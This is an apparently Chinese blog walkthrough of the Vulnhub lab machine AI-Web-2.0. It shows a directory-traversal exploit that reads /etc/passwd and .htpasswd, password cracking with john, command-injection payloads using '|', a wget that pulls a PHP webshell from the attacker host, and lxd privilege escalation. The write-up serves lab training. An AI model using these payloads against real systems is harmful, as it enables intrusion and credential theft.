美文网首页Vulnhub...
Vulnhub靶机:AI-Web-2.0

Vulnhub靶机:AI-Web-2.0

作者: z1挂东南 | 来源:发表于2020-06-07 10:28 被阅读0次

    标签文件读取爆破命令注入敏感文件泄露lxd提权

    0x00 环境准备

    下载地址:https://www.vulnhub.com/entry/ai-web-2,357/
    flag数量:1
    攻击机:kali
    攻击机地址:192.168.5.3
    靶机描述:

    Difficulty: Intermediate
    Network: DHCP (Automatically assign)
    Network Mode: NAT
    This is the second box from the series AI: Web and you will have more fun to crack this challenge. The goal is simple. Get flag from /root/flag.txt. Enumerate the box, get low privileged shell and then escalate privilege to root.
    
    You may need to crack password. Use wordlist SecLists/rockyou-45.txt by Mr. Daniel Miessler.
    
    For any hint please tweet on @arif_xpress
    

    0x01信息搜集

    1.探测靶机地址

    命令:arp-scan -l

    靶机地址是192.168.5.4

    2.探测靶机开放端口

    命令:nmap -sV -p- 192.168.5.4

    开放了22端口和80端口,先看一下80端口

    不是CMS。尝试sql注入,不存在sql注入。

    3.目录扫描

    那就扫描一下目录吧,命令:dirb http://192.168.5.4

    其中有个wenadmin的文件,访问看一下

    是个登录页面,尝试几个弱口令,不行。
    那就看看其他功能吧。

    0x02 文件读取

    看到有个注册的按钮,那就先注册一个账户试试。

    注册后去登录

    登录后是这个页面,这里有个Welcome to XuezhuLi FileSharing标语,去搜索引擎查一下xuezhuli filesharing

    发现这是一个github上的项目,2016年的项目,项目链接:https://github.com/XuezhuLi/FileSharing
    查一下有没有漏洞

    找到了两个漏洞,第一个漏洞是CSRF,危害不大,也不好利用;第二个是文件遍历,这个可以读取一些文件,用这个。漏洞利用链接:https://www.exploit-db.com/exploits/40009

    使用burp抓包利用一下

    利用成功,读取到了/etc/passwd文件,刚才从插件上得知这是个apache的系统,刚才还找到了登录页面,apache系统一般会有一个认证文件,里面保存着账号密码。既然现在可以读取文件,那就读取一下apache的认证文件。

    爆破出了apache的认证文件,目录:/etc/apache2/.htpasswd
    账号密码:aiweb2admin:$apr1$VXqmVvDD$otU1gx4nwCgsAOA7Wi.aU/
    账号是aiweb2admin,密码被加密了,使用john解密一下。

    0x03 john爆破

    提示中说用rockyou字典,将上面的账号密码保存一下,然后爆破。命令:john --wordlist=/usr/share/wordlists/rockyou.txt aiweb2.txt

    爆破出来了,账号密码:aiweb2admin \ c.ronaldo

    0x04 命令注入

    http://192.168.5.4/webadmin/下发现了robots.txt文件

    访问http://192.168.5.4/webadmin/H05Tpin9555/发现是一个执行ping命令的页面

    使用burp抓包尝试绕过,执行其他命令。发现使用“|”可以绕过

    尝试反弹shell,但是不成功。
    使用wget下载一句话试试,在kali上创建一句话文件,为了保险,我既写了一句话,又写了反弹shell:

    然后建立一个临时服务器,命令:python -m SimpleHTTPServer

    使用wget下载shell.php,命令:wget http://192.168.5.3:8000/shell.php

    访问一下看看,没有报404,应该是下载成功了,验证一句话:

    一句话可以执行,连菜刀,报错了

    我上网查了一下401错误:

    如果这种通过浏览器的检查表明没有授权问题,则可能是您的 Web 服务器 ( 或周边系统 ) 被设置为不允许某种 HTTP 传输模式。 换句话说就是, 来自一个知名浏览器的 HTTP 通讯是允许的, 但来自其他系统的自动通讯则被拒绝, 并生成 401 错误代码。这是一种异常情况, 但是也许表明您的 Web 服务器周围 采取了非常具有防御性的安全策略。

    这样看来不能用菜刀这类的网站管理工具了,换个其他的思路吧。
    401错误解决方法:basic认证

    0x05 密码文件——得来全不费工夫

    既然不能使用一句话,那就看一下当前目录有什么文件吧
    命令:ip=127.0.0.1|pwd&Submit=Submit
    回显:

    /var/www/html/webadmin/H05Tpin9555
    

    命令:ip=127.0.0.1|ls&Submit=Submit
    回显:

    index.php
    shell.php
    style-main.css
    

    没什么可利用的,看看上一级webadmin目录下有什么

    命令:ip=127.0.0.1|ls /var/www/html/webadmin&Submit=Submit
    回显:

    H05Tpin9555
    S0mextras
    index.html
    robots.txt
    

    访问http://192.168.5.4/webadmin/S0mextras/看看

    提示发现了juicy的信息,查看一下这个目录下有什么文件

    命令:ip=127.0.0.1|ls /var/www/html/webadmin/S0mextras&Submit=Submit
    回显:

    index.htm
    

    只有一个文件,这跟提示不符啊,应该是有隐藏文件

    命令:ip=127.0.0.1|ls -la /var/www/html/webadmin/S0mextras&Submit=Submit
    回显:

    /var/www/html/webadmin/S0mextras:
    index.html
    

    可能是无法使用-la参数,用find命令试一下

    命令:ip=127.0.0.1|find . -type f /var/www/html/webadmin/S0mextras&Submit=Submit
    回显:

    ./style-main.css
    ./index.php
    ./shell.php
    /var/www/html/webadmin/S0mextras
    /var/www/html/webadmin/S0mextras/.sshUserCred55512.txt
    /var/www/html/webadmin/S0mextras/index.html
    

    这下发现了隐藏文件,.sshUserCred55512.txt文件从文件名上来看应该是和ssh登录有关,用cat命令查看一下。

    命令:ip=127.0.0.1|cat /var/www/html/webadmin/S0mextras/.sshUserCred55512.txt&Submit=Submit
    回显:

    User: n0nr00tuser
    Cred: zxowieoi4sdsadpEClDws1sf
    

    0x06 提权

    拿到了账号密码,使用ssh登录一下。命令:ssh n0nr00tuser@192.168.5.4

    登录成功
    命令:sudo -l

    不能使用sudo
    那就使用LinEnum工具扫描一下可以利用哪些信息提权。
    创建一个临时服务器,然后靶机切换到/tmp目录下,wget下载LinEnum.sh文件

    然后给文件赋权,执行文件,由于输出信息比较多,这里使用-r参数指定将输出信息输出到report.txt文件中。命令:./LinEnum.sh -r report.txt

    在文件的最后发现可以利用lxd漏洞

    找一下lxd的漏洞,命令:searchsploit lxd

    把它复制过来

    使用vi命令打开,然后输入:set ff=unix,然后输入:wq回车保存退出。如果不设置ff=unix会报错。

    cat 46978.sh发现,运行脚本的时候还需要一个文件,文件地址https://github.com/saghul/lxd-alpine-builder
    将文件下载到kali上,然后给权限运行

    运行后它会下载一个tar.gz的文件,我下载用了很长时间,而且并不是一次就下载成功了,我下载了三次才成功,下载成功的截图

    下载成功后会出现一个tar.gz文件,这个文件是以时间戳命名的

    在kali上创建临时服务器,将需要用到的两个文件下载到靶机上(由于kali换了新的镜像,现在的kali地址是192.168.5.9

    在靶机上切换到/tmp目录,下载两个文件

    给46978.sh文件可执行权限,然后运行

    已经是root权限了,flag.txt文件在/mnt/root/root

    0x07 小结

    从文件读取漏洞开始,读取到apach的配置文件,拿到账号密码,在进入网站后台后,又发现了命令注入漏洞,通过这个漏洞又找到了ssh的账号密码文件,登录ssh后开始提权。首先使用LinEnum.sh文件扫描漏洞,发现了lxd漏洞。整体的难点或者说麻烦的地方在于运行build-alpine文件,这个地方浪费了很多时间。

    由于我不会每天都登录简书,所以有什么私信或者评论我都不能及时回复,如果想要联系我最好给我发邮件,邮箱:Z2djMjUxMTBAMTYzLmNvbQ==,如果发邮件请备注“简书”


    参考链接:

    1.http 401错误解析
    2.Basic认证
    3.AI: Web: 2靶机-Walkthrough
    4.AI: WEB: 2 VULNHUB WALKTHROUGH

    相关文章

      网友评论

        本文标题:Vulnhub靶机:AI-Web-2.0

        本文链接:https://www.haomeiwen.com/subject/tlzgzhtx.html